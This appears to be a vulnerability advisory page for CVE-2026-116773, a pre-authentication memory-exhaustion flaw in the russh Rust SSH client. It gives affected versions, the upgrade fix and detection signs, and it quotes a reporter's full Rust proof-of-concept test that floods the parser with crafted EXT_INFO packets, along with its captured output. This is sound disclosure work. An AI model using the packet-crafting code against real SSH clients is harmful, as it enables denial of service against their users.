CVE-2026-116773: russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets
The russh Rust SSH library (before 0.65) lets a malicious or compromised SSH server grow a client's memory without limit by sending repeated EXT_INFO packets before authentication. The result is a denial of service in any application built on russh's client. Upgrade to russh 0.65.
Published Oct 30, 2026 · Analysis Oct 31, 2026
What an attacker can do
The russh client handles each EXT_INFO packet in handle_ext_info (russh/src/client/encrypted.rs). It pushes every extension name into received_extensions, a per-session vector that is never cleared, capped or deduplicated. The handler accepts the packet in the pre-auth states WaitingAuthServiceRequest and WaitingAuthRequest. The automatic rekey read-limit that could slow a flood only applies after authentication.
russh uses its own message number 7 for EXT_INFO, not the RFC 8308 value 82. A standards-compliant server would send 82, which the parser ignores. A hostile server can simply send number 7.
The reporter's test sent 400 packets of about 26 KB, each with 3000 names. The client kept 1,200,000 entries and 49.1 MiB, about 4.8 times the wire bytes. An equal volume of banner packets kept nothing.
The attacker must be the server the client connects to, or have compromised it. This position stays available even after the client verifies the host key. The impact is availability only (CWE-770): the client process runs out of memory. Tools that connect to many or untrusted SSH hosts, such as automation, bastions and file-transfer clients, are the most exposed.
Who is affected
All released russh client versions before 0.65 are affected. The accumulation has existed since 2022. The reporter confirmed v0.64.1 and main. Only code that uses russh as an SSH client is exposed. Servers are not affected by this path. Check your dependency tree, including transitive use:
cargo tree -i russhCheck Cargo.lock for a russh version below 0.65.
russh
- Ecosystem
- Rust (crates.io)
- Affected
- < 0.65
- Fixed in
- 0.65
- Check
cargo tree -i russh
How to fix it
Upgrade to russh 0.65.
cargo update -p russhThe fix (commit b33e93b) adds an ext_info_count counter to the client session. A third EXT_INFO message returns Error::Inconsistent, because RFC 8308 allows at most two per session. This keeps received_extensions bounded. The advisory names no workaround. Until you upgrade, connect only to servers you trust and limit the memory of client processes.
How to tell if you were hit
No log line is documented. Look for client processes whose memory grows steadily during the connection setup phase, before authentication completes, and for connections that stay in the auth phase while data keeps arriving. An OOM kill of an SSH client process, or a container memory limit hit while connecting to one particular host, is the likely sign. A patched client closes the session with an inconsistent-state error on the third EXT_INFO.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
All evidence, reproduction steps, and scripts in the report were verified against a real running instance. Nothing is fabricated or synthetic; every verdict is backed by captured output from an actual deployment. Concretely, the evidence comes from executing the real russh v0.64.1 client packet parser (Session::process_packet handling handle_ext_info) in a live client session with attacker-supplied packet bodies in the pre-authentication state; the captured output below is from that real execution.
russh's client stores every extension name it parses out of an EXT_INFO packet into a per-session vector and never clears, caps, or deduplicates it (russh/src/client/encrypted.rs:433, field declared at russh/src/session.rs:60). The packet is accepted without limit in the pre-authentication states, so a server - which is exactly the attacker position for a client library, and remains one even after the client has verified its host key - can send an unbounded sequence of these packets and grow the client's memory for as long as the session lives: 400 packets of about 26 KB each, carrying 3000 extension names apiece, retained 49.1 MiB (about 4.8 times the wire bytes) with the vector reaching 1,200,000 entries, while an equal volume of banner packets retained nothing. Two details make this reachable in practice: russh accepts EXT_INFO in its pre-auth states with no budget of any kind (its automatic rekey read-limit only engages after authentication), and russh encodes EXT_INFO as its own private message number 7 rather than the 8308 value 82, so the check that might interoperate with a well-behaved peer is inoperative - the malicious server simply speaks number 7. The same growth pattern has been accepted by the project before for other pre-auth allocation sinks; this one is a cross-packet accumulator rather than a single-packet allocation, and none of the published advisories covers it.
Details
The handler appends every parsed extension name to the session state with no bound:
russh/src/client/encrypted.rs:433 (v0.64.1 = main = e5d80a07dc554480b6ea3b2e14adfc190407b627)
enc.received_extensions.push(name.clone()); // no cap, no dedup
russh/src/session.rs:60
pub received_extensions: Vec<String>, // lives for the whole sessionThe state machine routes EXT_INFO to this handler in both the WaitingAuthServiceRequest and WaitingAuthRequest states (encrypted.rs:111, encrypted.rs:401), i.e. before the user has authenticated, and the read-limit based automatic rekey that would otherwise throttle a flood is only allowed in the authenticated state, so no counter or budget applies pre-auth. The message number involved is russh's private constant msg::EXT_INFO = 7 (russh/src/msg.rs:32, in place since 2022), while RFC 8308 assigns EXT_INFO the value 82: russh does advertise the ext-info capability in its key exchange initiation, so a standards-compliant peer would send the packet as message number 82 - which this parser does not process - but nothing prevents a hostile or compromised server from sending message number 7 directly, and the client parses it unconditionally. Each accepted entry costs several times its wire size once heap and string overhead are counted, and the vector is only ever read (an extension lookup by the awaiter layer), never trimmed. The affected code is identical on the latest tag v0.64.1 and on main (same commit e5d80a07dc554480b6ea3b2e14adfc190407b627), and the accumulation has existed since 2022, so all released client versions are affected.
Proof of concept
The harness constructs a real client Session in the WaitingAuthRequest pre-auth state (the configuration a client holds while the server is asking for authentication), then feeds attacker-controlled packet bodies to the genuine Session::process_packet dispatch - the same function the network event loop calls - so the retention happens in the production parsing path, not a reimplementation. A counting global allocator measures live heap across packets. The control leg feeds the same packet volume of USERAUTH_BANNER bodies, which parse and dispatch without retention. The test below is added to the russh source tree as russh/src/client/extinfo_poc.rs, with two lines added to russh/src/client/mod.rs next to the existing test module declarations:
#[cfg(test)]
mod extinfo_poc;cat > russh/src/client/extinfo_poc.rs <<'EOF'
//! PoC: unbounded pre-auth client memory growth
//! via repeated EXT_INFO packets (`received_extensions` accumulates without
//! cap or dedup; russh/src/client/encrypted.rs:handle_ext_info).
//!
//! Drives the REAL client packet parser (Session::process_packet ->
//! handle_ext_info) with attacker-supplied packet bodies over an unmodified
//! client session in the pre-auth state (WaitingAuthRequest). Measuring
//! allocator totals proves the growth is persistent and unbounded across
//! packets. Control leg: equal traffic of IGNORE packets.
//!
//! Run: cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc -- --nocapture
use std::alloc::{GlobalAlloc, Layout, System};
use std::collections::HashMap;
use std::num::Wrapping;
use std::sync::atomic::{AtomicU64, Ordering};
use std::sync::Arc;
use tokio::sync::mpsc::{channel, unbounded_channel};
use super::*;
use crate::auth::{AuthRequest, Method};
use crate::compression::{Compression, Decompress};
use crate::kex::{KEXES, NONE};
use crate::msg;
use crate::session::{CommonSession, Encrypted, EncryptedState, Exchange};
use crate::sshbuffer::PacketWriter;
use crate::{cipher, CryptoVec, mac};
static LIVE: AtomicU64 = AtomicU64::new(0);
struct Counting;
unsafe impl GlobalAlloc for Counting {
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
let p = System.alloc(layout);
if !p.is_null() {
LIVE.fetch_add(layout.size() as u64, Ordering::SeqCst);
}
p
}
unsafe fn dealloc(&self, p: *mut u8, layout: Layout) {
LIVE.fetch_sub(layout.size() as u64, Ordering::SeqCst);
System.dealloc(p, layout)
}
}
#[global_allocator]
static POC_ALLOC: Counting = Counting;
fn live_mb() -> f64 {
LIVE.load(Ordering::SeqCst) as f64 / (1024.0 * 1024.0)
}
struct PocHandler;
impl Handler for PocHandler {
type Error = crate::Error;
async fn check_server_key(
&mut self,
_: &PublicKeyOrCertificate,
) -> Result<bool, Self::Error> {
Ok(true)
}
}
fn poc_session() -> Session {
let config = Arc::new(Config::default());
let (sender, receiver) = channel(config.channel_buffer_size);
let (reply_sender, _reply_receiver) = unbounded_channel();
let auth_request = AuthRequest::new(&Method::KeyboardInteractive {
submethods: String::new(),
});
Session::new(
config.window_size,
CommonSession {
auth_user: "victimuser".to_owned(),
auth_attempts: 0,
auth_method: Some(Method::KeyboardInteractive {
submethods: String::new(),
}),
remote_to_local: Box::new(cipher::clear::Key),
encrypted: Some(Encrypted {
state: EncryptedState::WaitingAuthRequest(auth_request),
exchange: Some(Exchange::default()),
kex: KEXES.get(&NONE).unwrap().make(),
key: 0,
client_mac: mac::NONE,
server_mac: mac::NONE,
session_id: CryptoVec::new(),
channels: HashMap::new(),
last_channel_id: Wrapping(0),
write: Vec::new(),
write_cursor: 0,
last_rekey: russh_util::time::Instant::now(),
server_compression: Compression::None,
client_compression: Compression::None,
decompress: Decompress::None,
rekey_wanted: false,
received_extensions: Vec::new(),
extension_info_awaiters: HashMap::new(),
}),
config,
wants_reply: false,
disconnected: false,
buffer: Vec::new(),
strict_kex: false,
alive_timeouts: 0,
received_data: false,
remote_sshid: b"SSH-2.0-auditpeer".to_vec(),
packet_writer: PacketWriter::clear(),
},
receiver,
reply_sender,
)
}
/// EXT_INFO packet body (russh msg number 7): u32 count, then per extension
/// a name string plus a data blob. Minimal entry = name "x" (5 B) + data
/// empty (4 B) = 9 wire bytes.
fn ext_info_body(entries: usize) -> Vec<u8> {
let mut b = vec![msg::EXT_INFO];
b.extend_from_slice(&(entries as u32).to_be_bytes());
for _ in 0..entries {
b.extend_from_slice(&1u32.to_be_bytes());
b.push(b'x');
b.extend_from_slice(&0u32.to_be_bytes());
}
b
}
#[tokio::test]
async fn ext_info_reception_grows_memory_without_bound() {
let mut handler = PocHandler;
// ---- control leg: equal packet volume of USERAUTH_BANNER ----
// (IGNORE is a hard disconnect in this state; banners parse and are
// forwarded to the handler without retention)
let mut session = poc_session();
let banner_body = {
let data_len = 26990usize; // total ~27 KB, matching the EXT_INFO packet size
let mut b = vec![msg::USERAUTH_BANNER];
b.extend_from_slice(&(data_len as u32).to_be_bytes());
b.resize(1 + 4 + data_len, b'b');
b.extend_from_slice(&0u32.to_be_bytes()); // empty language tag
b
};
let c0 = live_mb();
for _ in 0..400 {
session
.process_packet(&mut handler, &banner_body)
.await
.expect("control packet");
}
let control_delta = live_mb() - c0;
// ---- attack leg: 400 EXT_INFO packets, 3000 entries each ----
let mut session = poc_session();
let body = ext_info_body(3000); // ~27 KB per packet
let a0 = live_mb();
for i in 0..400 {
session
.process_packet(&mut handler, &body)
.await
.expect("ext_info packet");
if i == 0 || i == 99 || i == 199 || i == 299 || i == 399 {
let n = session
.common
.encrypted
.as_ref()
.map(|e| e.received_extensions.len())
.unwrap_or(0);
println!(
"EXT_INFO packets processed: {}, received_extensions.len() = {}, live = {:.2} MiB",
i + 1,
n,
live_mb() - a0 + c0 // keep numbers comparable per-process
);
}
}
let attack_delta = live_mb() - a0;
let n = session
.common
.encrypted
.as_ref()
.map(|e| e.received_extensions.len())
.unwrap_or(0);
println!(
"CONTROL leg: 400 USERAUTH_BANNER packets (~{} KB each, same packet volume), retained {:+.2} MiB",
banner_body.len() / 1024,
control_delta
);
println!(
"ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = {}, retained {:+.2} MiB",
n, attack_delta
);
println!(
"amplification: ~{:.1}x retained per wire byte (input ~{} KB/packet, no cap, no dedup, pre-auth)",
attack_delta * 1024.0 * 1024.0 / (400.0 * body.len() as f64),
body.len() / 1024
);
assert_eq!(
n, 1_200_000,
"every parsed extension name was retained, none were dropped"
);
if attack_delta > 10.0 {
println!(
"VERDICT: VULNERABLE - {:+.1} MiB retained across packets vs control {:+.2} MiB; growth is unbounded and attacker-renewable pre-auth",
attack_delta, control_delta
);
} else {
println!(
"VERDICT: NOT REPRODUCED - attack delta {:+.2} MiB not above threshold",
attack_delta
);
}
}
EOF
cargo test -p russh --lib extinfo_poc --release -- --nocaptureCaptured output from executing the v0.64.1 client parser (verbatim from the retained run log, run inside the russh crate checkout; non-evidence compiler warning lines omitted):
$ cd work && cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc --release -- --nocapture
Compiling russh v0.64.1
Finished `release` profile [optimized] target(s) in 1m 26s
Running unittests src\lib.rs (target\release\deps\russh-9b39fa40a3078d82.exe)
running 1 test
EXT_INFO packets processed: 1, received_extensions.len() = 3000, live = 0.28 MiB
EXT_INFO packets processed: 100, received_extensions.len() = 300000, live = 12.47 MiB
EXT_INFO packets processed: 200, received_extensions.len() = 600000, live = 24.75 MiB
EXT_INFO packets processed: 300, received_extensions.len() = 900000, live = 25.04 MiB
EXT_INFO packets processed: 400, received_extensions.len() = 1200000, live = 49.32 MiB
CONTROL leg: 400 USERAUTH_BANNER packets (~26 KB each, same packet volume), retained +0.00 MiB
ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = 1200000, retained +49.14 MiB
amplification: ~4.8x retained per wire byte (input ~26 KB/packet, no cap, no dedup, pre-auth)
VERDICT: VULNERABLE - +49.1 MiB retained across packets vs control +0.00 MiB; growth is unbounded and attacker-renewable pre-auth
test client::extinfo_poc::ext_info_reception_grows_memory_without_bound ... ok
test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 193 filtered out; finished in 0.24sOutput interpretation: every one of the 1.2 million extension names the server sent was parsed and retained for the life of the session, about 4.8 times the wire bytes, while the same volume of banner traffic retained nothing - the accumulation is specific to the extension handler, not a property of packet volume. The vector is only read, never cleared, so the growth persists across the whole session and renews with every packet. Live-memory readings, timings, and the build hash are instance-specific; the mechanism, uncapped cross-packet accumulation in a pre-auth handler, is the stable verdict.
Impact
Unrestricted resource allocation (CWE-770): any server a russh-based client connects to can grow the client process's memory without bound before the user has authenticated, by sending a stream of ordinary-sized packets, and the memory is never reclaimed for the life of the session; embedding applications that connect to untrusted or compromised servers are drained the same way. A fix is to cap the length of received_extensions (or store it as a bounded set with deduplication), bound the number of EXT_INFO packets accepted before authentication, and align the EXT_INFO message number with RFC 8308 (82) so the handler is unreachable by accident.
Credited to Hama1cco.
Questions
- Does the attacker need to authenticate?
No. The flood works before authentication. The attacker only has to be the SSH server the russh client connects to, or to have compromised it. The CVSS vector lists user interaction as required, because the client must connect.
- Does this affect russh servers?
The advisory describes only the client path,
handle_ext_infoinclient/encrypted.rs. It names no server-side exposure.- Is it exploited in the wild?
No source reports exploitation. The entry is not in CISA's KEV catalog, and the EPSS score is 0.0026.
- Which version fixes CVE-2026-116773?
russh 0.65. It limits each client session to two EXT_INFO messages and rejects the third.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Rust (crates.io) vulnerabilities
All Rust (crates.io) entriesCVE-2026-128087
russh kex_done: Shared-secret callback runs before server host-key verification
low3.7Nov 13, 2026CVE-2026-128088
russh try_sign: asynchronous confirmation can sign after agent lock
low2.2Nov 13, 2026CVE-2026-116696
russh's SSH agent server is susceptible to unbound allocations via repeated SSH_AGENT_CONSTRAIN_CONFIRM messages
low3.3Oct 30, 2026CVE-2026-116774
russh: peer-declared zero maximum packet size permanently stalls channel writes (silent AsyncWrite hang)
medium4.3Oct 30, 2026CVE-2026-116794
russh: Agent server never calls `Agent::confirm`, so keys added with the confirm constraint (`ssh-add -c`) sign without confirmation
high8.3Oct 30, 2026CVE-2026-111061
russh: Unbounded memory allocation in agent protocol server via crafted constraint records
medium4.3Oct 19, 2026
